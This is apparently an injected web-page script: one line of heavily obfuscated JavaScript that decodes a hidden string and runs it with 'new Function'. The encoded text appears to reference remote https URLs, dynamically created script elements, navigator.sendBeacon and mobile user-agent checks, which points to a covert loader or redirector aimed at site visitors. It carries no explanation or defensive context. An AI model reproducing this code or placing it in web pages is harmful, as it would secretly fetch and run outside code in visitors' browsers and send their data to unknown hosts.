M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q/f/}Ko}j(8}vY8Oo2K2D^sOY"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();